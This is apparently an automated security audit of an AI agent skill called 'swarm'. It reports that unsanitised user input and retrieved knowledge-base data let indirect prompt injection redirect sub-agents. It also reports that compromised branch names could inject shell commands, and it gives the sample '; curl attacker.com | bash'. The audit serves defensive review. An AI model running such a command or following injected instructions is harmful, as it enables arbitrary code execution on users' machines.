swarm
Warn
Audited by Gen Agent Trust Hub on Jul 7, 2026
Risk Level: MEDIUMPROMPT_INJECTIONCOMMAND_EXECUTION
Full Analysis
- [PROMPT_INJECTION]: The skill uses '$ARGUMENTS' (user-provided input) and external data fetched via 'mcp__rag-mcp__smart_query' (Knowledge Base) to construct prompts for sub-agents. These inputs are interpolated directly into the instructions without any sanitization, validation, or boundary markers (delimiters). This creates an extensive surface for indirect prompt injection, where malicious data can redirect the sub-agents' behavior to perform unauthorized actions.
- [COMMAND_EXECUTION]: In the '--worktree' mode, the skill instructs the orchestrator agent to execute bash commands like 'git merge --no-ff ' and 'git worktree remove ' using branch names and paths returned by sub-agents. If a sub-agent is compromised through the aforementioned prompt injection surface, it could return a branch name containing shell metacharacters (e.g., '; curl attacker.com | bash') leading to arbitrary command execution on the host machine.
- [PROMPT_INJECTION]: Indirect Prompt Injection mandatory evidence:
- Ingestion points: User-supplied '$ARGUMENTS' and data from 'mcp__rag-mcp__smart_query' tool output (found in SKILL.md).
- Boundary markers: Absent; data is placed directly within prompt templates.
- Capability inventory: 'Bash' (shell access), 'Agent' (recursive sub-agent spawning), 'Write', and 'Edit' (filesystem modification) tools (found in SKILL.md).
- Sanitization: No instructions for validation or sanitization of external or user-provided data are present.
Audit Metadata